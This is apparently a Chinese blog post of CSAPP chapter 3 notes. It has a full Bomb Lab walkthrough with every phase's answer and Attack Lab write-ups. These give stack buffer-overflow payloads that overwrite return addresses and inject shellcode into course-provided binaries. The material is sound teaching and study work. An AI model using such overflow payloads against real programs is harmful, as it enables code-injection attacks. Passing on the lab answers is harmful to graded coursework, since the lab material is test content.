CSAPP第三章 - 程序的机器级表示

X86 寄存器，指令集等内容搬到了 https://www.caiwen.work/post/cs-x86

1. 数据结构

1.1 跳表

对于 switch 语句，如果判断的情况比较少的时候可能会直接展开成 if 语句，如果判断的情况比较多，且判断的值范围跨度比较小的时候，就会使用跳表

比如：

会编译成：

其中，L4 是位于 rodata 段的数据：

换成 C 语言代码就是：

其中 && 表示获取某个代码位置的地址

大概就是把 switch 判断的值映射到一个比较小的值上面，然后以映射后的值作为下标直接从数组中获取跳转地址。这种带来的好处就是无论需要判断的情况有多少，执行 switch 指令的时间都是一样的

1.2 多维数组

多维数组在内存中的排列规则是，最后一个下标的元素连续，比如：

1.3 变长数组

ISO C99 引入了变长数组这一特性，允许声明数组时数组长度为变量

数组长度无法在编译期获知的话，可能会使得函数在返回时不好清理当前栈帧。为了管理变长栈帧，x86-64 使用 %rbp 这个寄存器存储当前的栈顶地址。由于 %rbp 是被调用者保存寄存器，需要先压入栈中。比如：

对应汇编：

运行时栈上的情况为：

当函数返回之前，会执行一个 leave 指令，该指令不需要操作数，等价于下面两条指令：

Unknown
1
2
movq %rbp,%rsp
popq %rbp

即会直接把 %rsp 置为栈顶来清栈，然后恢复 %rbp

2. 对抗缓冲区溢出

2.1 栈随机化

如果要进行缓冲区攻击，那么就需要把恶意代码放到缓冲区中，同时我们还需要得知插入代码的地址。因此一个防范手段是，程序开始时就在栈上分配一段随机大小的空间，这样就相当于把栈的起始地址随机了，这样一来攻击者将很难得知插入的代码位于哪里

一个解决手段是，将恶意代码前面加入若干 nop 指令，这种指令只会增加 PC 而不会有其他行为。这样，攻击者只需要猜对有 nop 指令的范围就可以了，跳到 nop 范围后程序将会沿着 nop 一直滑向恶意代码，对应的专业术语叫空操作雪橇（nop sled）

2.2 栈破坏检测

GCC 会评估一个函数是否容易受到缓冲区攻击，并在缓冲区的上方防止一个特殊的数据，被称为金丝雀。在执行 ret 指令之前，GCC 会生成检查代码，检查这个金丝雀是否发生改变。如果改变的话说明缓冲区被攻击，会立刻终止程序

其中第 3 行获取金丝雀数据，第 13 行进行金丝雀检查

编译时使用 -fno-stack-protector 参数可以禁止 GCC 进行栈破坏检测

2.3 限制可执行代码区域

可以在分页的时候限制执行权限

3. 命令行工具

产生汇编代码：gcc -Og -S mstore.c，其中 -Og 会使得编译器尽可能保持代码的整体结构，-S 说明生成汇编代码

产生机器代码：gcc -Og -c mstore.c，-c 表示产生二进制的机器代码

反汇编：objdump -d mstore.o 可以把上面产生的二进制机器码反汇编

rust-objdump -S [elf] 可以反汇编某个 elf 文件，但是只反汇编 .text 段

rust-objdump -S -D [elf] 反汇编所有的段

关于 GDB 参考：https://www.caiwen.work/post/gdb-cheatsheet

4. Bomb Lab

2024 年 12 月：写了几天的实验过程突然丢失了，等大二下学期正式学 CS 的时候再补（）

下文的实验过程基于湖南大学计算机系统课程的 Bomb Lab，可能与官方的 Self-study handout 有差别。

4.1 Phase 0

众所周知正版的 Bomb Lab 在提交答案错误之后，会向服务器发送请求，扣除一定的分数。为了保证我们的分数安全，我们需要先检查一下：

没有网络相关操作，看起来没问题。随后我又到处看了一下，甚至把 Ctrl+C 信号处理的函数都看了一下，都没问题。

4.2 Phase 1

在 main 函数中，会把 read_line 读到的字符串的指针放入栈顶，然后调用 phase_1

phase_1 中将 0x804921c 放入 0x4(%esp) 上，同时又把 0x20(%esp) 放入栈顶，然后调用 strings_not_equal。不难发现 0x804921c 和 0x20(%esp) 就是 strings_not_equal 的两个参数，0x804921c 处的字符串大概率就是第一关的答案了。

值得一提的是，在 phase_1 中先开了大小为 0x1c 的栈，所以 0x1c(%esp) 为返回地址，0x20(%esp) 为 main 函数传来的参数。

第一关答案为：

Unknown
1
Houses will begat jobs, jobs will begat houses.

4.3 Phase 2

首先进行了一些关于栈的操作。关键点在于 0x40(%esp) 这里实际上是 main 传递过来的输入的字符串（怎么这里都是用栈来传参的，有点奇怪，怀疑是这个实验故意这么干的，后来得知这是 32 位的调用约定，详见 https://www.caiwen.work/post/cs-x86）。然后又拿着这个输入进来的字符串调用了 read_six_numbers。

从这里就更能看出邪门了，这个程序估计全都是用栈来传参的。那么按这个角度看，上面这个代码倒是比较显然了，他在最后调用 sscanf，回忆 sscanf 的定义：

c
1
int sscanf(const char *str, const char *format, ...)

第一个参数为 (%esp) 也就是 0x30(%esp) ，即 read_six_numbers 的第一个参数，也就是输入的字符串。

第二个参数为 0x4(%esp)，即 0x80493b1：

显然是想从输入的字符串中取出六个整数，然后我们根据后续第三到第八个参数可以得知：

• 第一个数存到 0x8(%esp) -> %eax -> 0x34(%esp)，即 phase_2 传给 read_six_numbers 的第二个参数。从 phase_2 的 +5 到 +9 可知第二个参数为 phase_2 的 0x18(%esp)，第一个数存在这里。
• 第二个数存到 0xc(%esp) -> %edx -> %eax + 4 -> 0x34(%esp) + 0x4，即 phase_2 的 0x1c(%esp)。
• 以此类推，剩余四个数也都这样放在 phase_2 的栈上。第三个数对应 0x20(%esp)，第四个数对应 0x24(%esp)，第五个数对应 0x28(%esp)，第六个数对应 0x2c(%esp)

然后回来从 phase_2 的 +30 位置处开始看。首先从 +30 处可知第一个数要等于 $1$。随后将第二个数放入 %ebx ，然后调到 +39 位置，这里猜测是做了个循环。

观察后面代码可知，每次循环会把 %ebx 前面的数取出来，乘二，判断和 %ebx 对应的数字是否相等，相等的话就将 %ebx 移向下一个数字。

所以第二关的答案应该是一个等比数列：

Unknown
1
1 2 4 8 16 32

4.4 Phase 3

开头那一堆操作到现在已经很熟悉了，相当于是输入字符串作为第一个参数，0x80493bd 作为第二个参数，0x18(%esp) 作为第三个参数，0x1c(%esp) 作为第四个参数，调用 sscanf。

这一关我们需要输入两个数字。这两个数字会被存到 0x18(%esp) 和 0x1c(%esp) 上。

Unknown
1
2
3
4
5
   0x08048968 <+54>:    ja     0x80489a6 <phase_3+116>
   0x0804896a <+56>:    mov    0x18(%esp),%eax

   ...
   0x080489a6 <+116>:   call   0x8048e35 <explode_bomb>

可知第一个数必须小于等于 $7$。

Unknown
1
2
   0x0804896a <+56>:    mov    0x18(%esp),%eax
   0x0804896e <+60>:    jmp    *0x804927c(,%eax,4)

这比较有意思了，可知后续 jmp 跳转到的位置应该是和我们输入的第一个数字有关。那么我们猜测 0x804927c 这里应该存放着一个大小为 $8$ 的指针数组：

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
   0x08048975 <+67>:    mov    $0xb8,%eax
   0x0804897a <+72>:    jmp    0x80489b7 <phase_3+133>
   0x0804897c <+74>:    mov    $0x291,%eax
   0x08048981 <+79>:    jmp    0x80489b7 <phase_3+133>
   0x08048983 <+81>:    mov    $0x3a7,%eax
   0x08048988 <+86>:    jmp    0x80489b7 <phase_3+133>
   0x0804898a <+88>:    mov    $0xea,%eax
   0x0804898f <+93>:    jmp    0x80489b7 <phase_3+133>
   0x08048991 <+95>:    mov    $0x32b,%eax
   0x08048996 <+100>:   jmp    0x80489b7 <phase_3+133>
   0x08048998 <+102>:   mov    $0x372,%eax
   0x0804899d <+107>:   jmp    0x80489b7 <phase_3+133>
   0x0804899f <+109>:   mov    $0x3a7,%eax
   0x080489a4 <+114>:   jmp    0x80489b7 <phase_3+133>
   0x080489a6 <+116>:   call   0x8048e35 <explode_bomb>
   0x080489ab <+121>:   mov    $0x0,%eax
   0x080489b0 <+126>:   jmp    0x80489b7 <phase_3+133>
   0x080489b2 <+128>:   mov    $0x28d,%eax
   0x080489b7 <+133>:   cmp    0x1c(%esp),%eax
   0x080489bb <+137>:   je     0x80489c2 <phase_3+144>
   0x080489bd <+139>:   call   0x8048e35 <explode_bomb>
   0x080489c2 <+144>:   add    $0x2c,%esp

能够跳转到的位置在 0x08048975 到 0x080489b2 之间。而这中间的任何位置最后都会跳到 +133 位置，这个位置会检查你输入的第二个数字与 %eax 是否相等，相等的话就过关。

所以这一关的答案是不唯一的。我们直接选择令第一个数字为 0，这样会跳到 0x08048975，这里会设置 %eax 为 0xb8 ，所以我们令第二个数字为 0xb8 即 184 即可。

4.5 Phase 4

还是熟悉的操作，这里不多赘述：

我们还是要输入两个数字，这两个数字分别存到 0x1c(%esp) 和 0x18(%esp) 中。

注意，这里比较不符合直觉，第一个数字存在了高地址处，第二个数字存在了低地址处。

Unknown
1
2
3
4
   0x08048a3c <+44>:    mov    0x18(%esp),%eax
   0x08048a40 <+48>:    sub    $0x2,%eax
   0x08048a43 <+51>:    cmp    $0x2,%eax
   0x08048a48 <+56>:    call   0x8048e35 <explode_bomb>

可知第二个数字减去 $2$ 要小于等于 $2$，也就是第二个数字要小于等于 $4$。

注意，这里用的是 jbe，也就是第二个数字要看成是无符号的，前面减 $2$ 不能溢出，所以其实隐含着必须大于等于 $2$ 这个条件。在做实验的时候看了十多分钟才看出来。。。

Unknown
1
2
3
4
5
6
7
   0x08048a4d <+61>:    mov    0x18(%esp),%eax
   0x08048a51 <+65>:    mov    %eax,0x4(%esp)
   0x08048a55 <+69>:    movl   $0x5,(%esp)
   0x08048a5c <+76>:    call   0x80489c6 <func4>
   0x08048a61 <+81>:    cmp    0x1c(%esp),%eax
   0x08048a65 <+85>:    je     0x8048a6c <phase_4+92>
   0x08048a67 <+87>:    call   0x8048e35 <explode_bomb>

然后将 $5$ 作为参数一，第二个数字作为参数二，调用 func4，如果返回值等于第一个数字就通关。于是我们看一下 func4 是怎么个事。

Unknown
1
2
3
4
5
6
7
8
9
10
   0x080489c6 <+0>:     push   %edi
   0x080489c7 <+1>:     push   %esi
   0x080489c8 <+2>:     push   %ebx
   0x080489c9 <+3>:     sub    $0x10,%esp
   0x080489cc <+6>:     mov    0x20(%esp),%ebx
   0x080489d0 <+10>:    mov    0x24(%esp),%esi
   0x080489d4 <+14>:    test   %ebx,%ebx
   0x080489d6 <+16>:    jle    0x8048a04 <func4+62>
   ....
   0x08048a04 <+62>:    mov    $0x0,%eax

首先准备参数，将参数一放入 %ebx，参数二放入 %esi。

如果参数一小于等于 $0$ 的话，则直接返回 $0$。我们传入的参数一为 $5$，不考虑这一点。

Unknown
1
2
3
   0x080489d8 <+18>:    mov    %esi,%eax
   0x080489da <+20>:    cmp    $0x1,%ebx
   0x080489dd <+23>:    je     0x8048a09 <func4+67>

如果参数一等于 $1$ 的话，则直接返回参数二。我们传入的参数一为 $5$，还是不考虑这一点。

Unknown
1
2
3
4
   0x080489df <+25>:    mov    %esi,0x4(%esp)
   0x080489e3 <+29>:    lea    -0x1(%ebx),%eax
   0x080489e6 <+32>:    mov    %eax,(%esp)
   0x080489e9 <+35>:    call   0x80489c6 <func4>

这里有意思，相当于是把参数一减去 $1$，然后参数二不变，做了个递归。

Unknown
1
2
3
4
5
   0x080489ee <+40>:    lea    (%eax,%esi,1),%edi
   0x080489f1 <+43>:    mov    %esi,0x4(%esp)
   0x080489f5 <+47>:    sub    $0x2,%ebx
   0x080489f8 <+50>:    mov    %ebx,(%esp)
   0x080489fb <+53>:    call   0x80489c6 <func4>

上面递归完了之后，后面会将返回值加上参数二再加上 $1$，放入 %edi。

然后又进行了一个递归，这次是把参数一减去 $2$，参数二不变，递归调用 func4。

Unknown
1
2
   0x08048a00 <+58>:    add    %edi,%eax
   0x08048a02 <+60>:    jmp    0x8048a09 <func4+67>

递归的返回值再加上 %edi 即为最终结果。

这个 func4 的递归过程稍微有点复杂，我们干脆写一个程序跑一遍：

rust
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fn func4(a: i32, b: i32) -> i32 {
    if a <= 0 {
        return 0;
    }
    if a == 1 {
        return b;
    }
    let t1 = func4(a - 1, b) + b;
    let t2 = func4(a - 2, b);
    t1 + t2
}

fn main() {
    println!("{}", func4(5, 2));
}

这一关答案也不唯一。这里直接钦定第二个数字为 $2$，跑出来的结果是 $24$，于是 24 2 就是一个答案。

4.6 Phase 5

Unknown
1
2
3
4
5
6
7
8
9
10
11
   0x08048a71 <+0>:     push   %ebx
   0x08048a72 <+1>:     sub    $0x28,%esp
   0x08048a75 <+4>:     mov    0x30(%esp),%ebx
   0x08048a79 <+8>:     mov    %gs:0x14,%eax
   0x08048a7f <+14>:    mov    %eax,0x1c(%esp)
   0x08048a83 <+18>:    xor    %eax,%eax
   0x08048a85 <+20>:    mov    %ebx,(%esp)
   0x08048a88 <+23>:    call   0x8048d0b <string_length>
   0x08048a8d <+28>:    cmp    $0x6,%eax
   0x08048a90 <+31>:    je     0x8048ad7 <phase_5+102>
   0x08048a92 <+33>:    call   0x8048e35 <explode_bomb>

这里主要是把输入的字符串拿去调用 string_length 这个函数，前面 %gs:0x14 有关的操作应该是为了防止缓冲区攻击之类的。

我们暂且假设 string_length 如它的名字一样是获取字符串长度的，后续会比较输入字符串长度是否为 $6$，所以这一关的答案需要是 $6$ 个字符。

Unknown
1
2
3
4
5
6
7
8
9
10
11
   0x08048a97 <+38>:    jmp    0x8048ad7 <phase_5+102>
   0x08048a99 <+40>:    movzbl (%ebx,%eax,1),%edx
   0x08048a9d <+44>:    and    $0xf,%edx
   0x08048aa0 <+47>:    movzbl 0x804929c(%edx),%edx
   0x08048aa7 <+54>:    mov    %dl,0x15(%esp,%eax,1)
   0x08048aab <+58>:    add    $0x1,%eax
   0x08048aae <+61>:    cmp    $0x6,%eax
   0x08048ab1 <+64>:    jne    0x8048a99 <phase_5+40>
   ...
   0x08048ad7 <+102>:   mov    $0x0,%eax
   0x08048adc <+107>:   jmp    0x8048a99 <phase_5+40>

这里应该是开了个循环。逻辑不难，%eax 在这里相当于是 $i$，初始时 $i=0$，每次循环 $i+1$，$i=6$ 时跳出循环。$i$ 用来遍历输入的字符串，将字符串中每个字符都与上 0xf（相当于取了低 4 位）。0x804929c 这里应该是有一个长度为 $16$ 的字符串数组，我们把与得到的结果作为下标，在这个数组中取出对应的字符，组成了从 0x15(%esp) 开始的新字符串。

Unknown
1
2
3
4
5
6
7
8
   0x08048ab3 <+66>:    movb   $0x0,0x1b(%esp)
   0x08048ab8 <+71>:    movl   $0x8049272,0x4(%esp)
   0x08048ac0 <+79>:    lea    0x15(%esp),%eax
   0x08048ac4 <+83>:    mov    %eax,(%esp)
   0x08048ac7 <+86>:    call   0x8048d2a <strings_not_equal>
   0x08048acc <+91>:    test   %eax,%eax
   0x08048ace <+93>:    je     0x8048ade <phase_5+109>
   0x08048ad0 <+95>:    call   0x8048e35 <explode_bomb>

然后就是去比较这个字符串和 0x8049272 这里的字符串是否相等，相等的话则过关。

那么需要构造字符的低 $4$ 位分别为 9，15，1，0，5，7 的字符串。

我们先写个程序跑一下：

rust
1
2
3
4
5
fn main() {
    for i in 'a'..='z' {
        println!("{}: {}", i, (i as usize) & 0xf);
    }
}

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
a: 1
b: 2
c: 3
d: 4
e: 5
f: 6
g: 7
h: 8
i: 9
j: 10
k: 11
l: 12
m: 13
n: 14
o: 15
p: 0
q: 1
r: 2
s: 3
t: 4
u: 5
v: 6
w: 7
x: 8
y: 9
z: 10

一种构造方案是 ioapeg。

4.7 Phase 6

Unknown
1
2
3
4
5
6
7
8
   0x08048af5 <+0>:     push   %esi
   0x08048af6 <+1>:     push   %ebx
   0x08048af7 <+2>:     sub    $0x44,%esp
   0x08048afa <+5>:     lea    0x10(%esp),%eax
   0x08048afe <+9>:     mov    %eax,0x4(%esp)
   0x08048b02 <+13>:    mov    0x50(%esp),%eax
   0x08048b06 <+17>:    mov    %eax,(%esp)
   0x08048b09 <+20>:    call   0x8048e5c <read_six_numbers>

先是经典的读入 $6$ 个数字。根据我们先前的经验，这 $6$ 个数字存放在 0x10(%esp) 这里。

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
14
   0x08048b24 <+47>:    add    $0x1,%esi
   0x08048b27 <+50>:    cmp    $0x6,%esi
   0x08048b2a <+53>:    jne    0x8048b33 <phase_6+62>
   0x08048b2c <+55>:    mov    $0x0,%ebx
   0x08048b31 <+60>:    jmp    0x8048b6b <phase_6+118>
   0x08048b33 <+62>:    mov    %esi,%ebx
   0x08048b35 <+64>:    mov    0x10(%esp,%ebx,4),%eax
   0x08048b39 <+68>:    cmp    %eax,0xc(%esp,%esi,4)
   0x08048b3d <+72>:    jne    0x8048b44 <phase_6+79>
   0x08048b3f <+74>:    call   0x8048e35 <explode_bomb>
   0x08048b44 <+79>:    add    $0x1,%ebx
   0x08048b47 <+82>:    cmp    $0x5,%ebx
   0x08048b4a <+85>:    jle    0x8048b35 <phase_6+64>
   0x08048b4c <+87>:    jmp    0x8048b13 <phase_6+30>

这里出现了一个循环结构。实际上是两重循环，外层循环会检查这六个数字是否大于等于 $1$ （这里 sub + jbe 的坑我们上面也见识过了）且小于等于 $6$。检查完了这个之后还会再开内层循环，检查后面的数字是否与当前数字相同，这等价于需要保证这六个互不相同。

检查完毕之后会跳到 +118 处：

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   0x08048b4e <+89>:    mov    0x8(%edx),%edx
   0x08048b51 <+92>:    add    $0x1,%eax
   0x08048b54 <+95>:    cmp    %ecx,%eax
   0x08048b56 <+97>:    jne    0x8048b4e <phase_6+89>
   0x08048b58 <+99>:    jmp    0x8048b5f <phase_6+106>
   0x08048b5a <+101>:   mov    $0x804b11c,%edx
   0x08048b5f <+106>:   mov    %edx,0x28(%esp,%esi,4)
   0x08048b63 <+110>:   add    $0x1,%ebx
   0x08048b66 <+113>:   cmp    $0x6,%ebx
   0x08048b69 <+116>:   je     0x8048b82 <phase_6+141>
-> 0x08048b6b <+118>:   mov    %ebx,%esi
   0x08048b6d <+120>:   mov    0x10(%esp,%ebx,4),%ecx
   0x08048b71 <+124>:   cmp    $0x1,%ecx
   0x08048b74 <+127>:   jle    0x8048b5a <phase_6+101>
   0x08048b76 <+129>:   mov    $0x1,%eax
   0x08048b7b <+134>:   mov    $0x804b11c,%edx
   0x08048b80 <+139>:   jmp    0x8048b4e <phase_6+89>

首先 %ebx 和 %esi 都为 $0$。

由 +120 可知 %ebx 是用来索引输入数组的。假如当前元素为 $x$，如果$x = 1$，则将 0x804b11c 赋值给 %edx。

反之，则初始化 %edx 为 0x804b11c，%eax 为 1，进入 +89 这里。

+89 到 +97 这里相当于一个小循环，结合 %edx 的初值很像 .data 段的地址，以及 mov 0x8(%edx),%edx，很容易猜想 0x804b11c 这里放着一个链表。这里这个小循环是在把链表中第 $x$ 个节点的地址放入 %edx 中。

无论当前元素是否等于 $1$，最后都会进入 +106 这里，到这里时，%edx 就是为链表中第 $x$ 个节点的地址。然后会把 %edx 放入 0x28(%esp) 开始的一个数组中，并开始处理下一个数字。

我们这里输入的数字相当于是在索引一个链表，把链表中的节点的地址按照我们给定的排列方式存入新的数组中。

这些处理完之后会跳到 +141 处。

Unknown
1
2
3
4
5
6
7
8
9
10
11
   0x08048b82 <+141>:   mov    0x28(%esp),%ebx
   0x08048b86 <+145>:   lea    0x2c(%esp),%eax
   0x08048b8a <+149>:   lea    0x40(%esp),%esi
   0x08048b8e <+153>:   mov    %ebx,%ecx
   0x08048b90 <+155>:   mov    (%eax),%edx
   0x08048b92 <+157>:   mov    %edx,0x8(%ecx)
   0x08048b95 <+160>:   add    $0x4,%eax
   0x08048b98 <+163>:   cmp    %esi,%eax
   0x08048b9a <+165>:   je     0x8048ba0 <phase_6+171>
   0x08048b9c <+167>:   mov    %edx,%ecx
   0x08048b9e <+169>:   jmp    0x8048b90 <phase_6+155>

这里又是个循环，从 +141 开始到 +153 实际上是循环的初始化。

• %eax 初始时为新的数组的第二个元素的地址，并且不断向后遍历。
• %esi 是循环中 %eax 的一个上界，%eax 到达 %esi 时循环结束。
• %ecx 为 %eax 指向的元素的前面那个元素对应的链表节点的地址。

这个循环相当于按新的数组中的顺序，把数组中后一个链表节点作为前一个链表节点的后继。所以我们输入的六个数字实际上就是表示我们要把这些链表节点如何排序。

这些处理完之后会跳到 +171 处。

Unknown
1
2
3
4
5
6
7
8
9
10
   0x08048ba0 <+171>:   movl   $0x0,0x8(%edx)
   0x08048ba7 <+178>:   mov    $0x5,%esi
   0x08048bac <+183>:   mov    0x8(%ebx),%eax
   0x08048baf <+186>:   mov    (%eax),%eax
   0x08048bb1 <+188>:   cmp    %eax,(%ebx)
   0x08048bb3 <+190>:   jle    0x8048bba <phase_6+197>
   0x08048bb5 <+192>:   call   0x8048e35 <explode_bomb>
   0x08048bba <+197>:   mov    0x8(%ebx),%ebx
   0x08048bbd <+200>:   sub    $0x1,%esi
   0x08048bc0 <+203>:   jne    0x8048bac <phase_6+183>

这里又是个循环结构。这个循环就比较简单了，相当于在检查重新排好序的链表节点的值是否是单调不降的。

根据上图可知，node4 < node1 < node6 < node2 < node5 < node3 ，所以答案为 4 1 6 2 5 3

4.8 Secret Phase

Bomb Lab 附带的 bomb.c 在最后有一个神秘注释：

这启示我们似乎有哪里遗漏了。main 函数中看起来有点奇怪的是 phase_defused，因为各个 Phase 对应的函数已经能实现判断输入的答案是否正确，这个函数有点多余。于是我们先反汇编看一下这个函数：

这个函数首先会去判断 0x804b3a8 这个地方是不是为 $6$。从这个地方的符号名称可以猜出这个应该是输入的字符串数量。phase_defused 会在输入完六个字符串之后起到作用。

然后会对 input_strings + 240 进行 sscanf，判断其第三个部分是否等于 DrEvil，是的话则跳转到 secret_phase，我们就能来到这个隐藏关。

不过 input_strings + 240 这个有点奇怪。开始时我猜测最后一关需要在答案的基础上再追加一些字符，使其填充到 240 字节，然后再填 %d %d %s ，尝试之后发现提示输入的字符串太长。

于是我们再看一下 read_line 函数干了什么。这个函数代码比较长，大部分不是我们关心的，函数的最后返回的 %eax 应该是输入字符串的指针，所以我们倒着观察 %eax 是怎么来的。

Unknown
1
2
3
4
5
6
7
   0x08048f81 <+213>:   call   0x8048e35 <explode_bomb>
   0x08048f86 <+218>:   lea    (%edx,%edx,4),%eax
   0x08048f89 <+221>:   shl    $0x4,%eax
   0x08048f8c <+224>:   movb   $0x0,0x804b3bf(%ecx,%eax,1)
   0x08048f94 <+232>:   add    $0x1,%edx
   0x08048f97 <+235>:   mov    %edx,0x804b3a8
   0x08048f9d <+241>:   mov    %ebx,%eax

%eax 是从 %ebx 来的，然后再继续往上找 %ebx，一直找到 +213 这个位置都没发现。同时由于 +213 这个位置直接引爆了炸弹，所以不可能从 +213 上面顺着执行到下面，肯定是存在有跳转 +218 到 +241 这个区域的指令。

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
   0x08048f22 <+118>:   call   0x80485e0 <exit@plt>
   0x08048f27 <+123>:   mov    0x804b3a8,%edx
   0x08048f2d <+129>:   lea    (%edx,%edx,4),%ebx
   0x08048f30 <+132>:   shl    $0x4,%ebx
   0x08048f33 <+135>:   add    $0x804b3c0,%ebx
   0x08048f39 <+141>:   mov    %ebx,%edi
   0x08048f3b <+143>:   mov    $0x0,%eax
   0x08048f40 <+148>:   mov    $0xffffffff,%ecx
   0x08048f45 <+153>:   repnz scas %es:(%edi),%al
   0x08048f47 <+155>:   not    %ecx
   0x08048f49 <+157>:   sub    $0x1,%ecx
   0x08048f4c <+160>:   cmp    $0x4e,%ecx
   0x08048f4f <+163>:   jle    0x8048f86 <read_line+218>

整个代码中只有这里一处是会跳转到 +218 的。由于 +118 直接退出了这个程序，所以我们只需要研究 +123 到 +218 这里的行为。

前几行表明 %ebx 是由 0x804b3a8 的值（也就是 num_input_strings）先乘上 $5$，再左移 $4$ 位，再加上 0x804b3c0 得来。

0x804b3c0 刚好是 input_strings 的其实地址，那么前面那乘上 $5$，再左移 $4$ 的运算应该是在算偏移。乘上 $5$，再左移 $4$ 相当于乘 $80$，所以这里 read_line 的行为大概就能猜出来了，input_strings 是一块缓冲区，read_line 会把每一关输入的字符串按 $80$ 字节的偏移放入 input_strings 不同的位置。

上面我们看到的 input_strings + 240 对应的是第 $4$ 关输入的字符串， 第 4 关刚好是需要输入两个数字，那么我们现在再在第四关的答案后面追加 DrEvil 就能进入隐藏关了。

c
1
long int strtol(const char *str, char **endptr, int base)

• str -- 要转换为长整数的字符串。
• endptr -- 对类型为 char* 的对象的引用，其值由函数设置为 str 中数值后的下一个字符。
• base -- 基数，必须介于 2 和 36（包含）之间，或者是特殊值 0。如果 base 为 0，则会根据字符串的前缀来判断进制：如果字符串以 '0x' 或 '0X' 开头，则将其视为十六进制；如果字符串以 '0' 开头，则将其视为八进制；否则将其视为十进制。

这一关开始时对输入的字符串做了一个 strtol，将其转为了一个 10 进制的数字。这个数字需要大于等于 1 且小于等于 0x3e9 即 1001。然后将这个数字作为参数二，0x804b068 作为参数一，调用 fun7，最后返回值为 4 就通关。

这里又出现了类似 Phase4 的递归。从 mov 0x24(%esp), %edx 和 mov (%edx), %ebx 可知第一个参数应该是一个指针。

这个函数大体上进行了一些判断。现在参数一为 %edx，参数二为 %ecx

• 如果 %edx 为 0，直接返回 0xffffffff

• 如果 (%edx) 等于 %ecx，返回 0

• 如果 (%edx) 小于 %ecx，0x8(%edx) 作为参数一，%ecx 作为参数二，递归调用 fun7，子函数返回值的二倍再加上 1 即为当前函数返回值

• 如果 (%edx) 大于 %ecx，0x4(%edx) 作为参数一，%ecx 作为参数二，递归调用 fun7，子函数返回值的二倍即为当前函数返回值

这下看懂了，这个函数相当于是在一个类似于 BST 的数据结构上遍历，如果找不到对应的节点则返回一个正无穷。

上面的返回值的分析是自下而上的，我们现在要自上而下地反着推：

• 在最顶层我们期望的返回值是 $4$ ，这是个偶数，所以必然是递归左子树而来，我们希望左子树返回的是 $2$。
• 在子节点，我们期望的返回值是 $2$，这是个偶数，所以必然是递归左子树而来，我们希望左子树返回的是 $1$。
• 在子节点，我们期望的返回值是 $1$，这是个奇数，所以必然是递归右子树而来，我们希望右子树返回的是 $0$。
• 此时到达了 0x07 这个点，如果我们给出的数字就是 0x07，那么这个点会返回 $0$。

于是 0x07 就是答案。

5. Attack Lab

5.1 Phase 1

我们需要进行一个缓冲区攻击，使得 getbuf 函数返回值直接跳到 touch1 函数

大概的思路就是我们想办法把 getbuf 函数栈顶上方的返回值地址给篡改一下

首先 objdump -d ctarget > disa.asm 对 ctarget 来个反编译。touch1 函数在 00000000004017c0 地址处，getbuf 函数的反编译：

Unknown
1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret
  4017be:	90                   	nop
  4017bf:	90                   	nop

getbuf 函数开了个缓冲区之后就去调用 Gets 函数了。缓冲区大小为 40 字节。缓冲区前面 8 字节应该就是返回值地址。那么我们可以大概构造出：

text
1
2
3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
0a

前面 40 字节无所谓，用来填充缓冲区，后面 8 字节构造了到 touch1 函数的地址，最后给个 0a 作为换行符结束输入

5.2 Phase 2

这次我们需要让 getbuf 函数不仅跳转到 touch2 函数，还携带一个参数

我们可能要考虑，先篡改 getbuf 栈顶上面的返回值地址，让其先指向我们自己的代码，然后我们去修改 %rdi，然后再跳到 touch2 函数

一个困难之处在于可能栈地址是随机的，好在经过测试，ctarget 栈地址并没有随机。我们使用 gdb 在 getbuf 出打断点，并输出 %rsp 的值，为 0x5561dca0。一个注意地方是我们需要在 gdb 中先 set args -q 使得程序不连接评分服务器

任务指导书中特别提示，我们最好不要使用 jmp 和 call 来进行跳转，因为这两个指令的编码可能会比较困难，建议我们使用 ret 指令，那我们可能需要考虑继续篡改 getbuf 栈顶再上面 8 个字节的地方（因为第一次从 getbuf 跳转后 %rsp 向上移动了 8 个字节）

touch2 的地址为 00000000004017ec

将指令变为二进制可以直接使用 gcc，如 gcc -c example.s 然后再 objdump -d example.o > example.d

先构造自己的代码：

Unknown
1
2
    movq $0x59b997fa, %rdi
    ret

编译得到的二进制为

text
1
48 c7 c7 fa 97 b9 59 c3

然后我们考虑把这块代码放到缓冲区的位置，构造：

Unknown
1
2
3
4
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 fa 97 b9 59 c3
98 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00
0a

注意缓冲区最后的地址是 0x5561dca0，但是我们不能直接从这个地址开始执行，应该从 0x5561dc98 开始：

Unknown
1
2
3
4
(gdb) x/20xb 0x5561dc98
0x5561dc98:     0x48    0xc7    0xc7    0xfa    0x97    0xb9    0x59    0xc3
0x5561dca0:     0xa0    0xdc    0x61    0x55    0x00    0x00    0x00    0x00
0x5561dca8:     0xec    0x17    0x40    0x00

提交后出现了段错误：

Unknown
1
2
3
4
5
6
7
8
9
10
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
Ouch!: You caused a segmentation fault!
Better luck next time
FAIL: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:FAIL:0xffffffff:ctarget:0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 C7 C7 FA 97 B9 59 C3 98 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00

根据 gdb，发现 touch2 判断通过之后还需要执行一个 validate 函数，这个函数调用 notify_server 函数，执行这个函数时发生了段错误，可能是我们注入的 touch2 地址破坏了什么东西

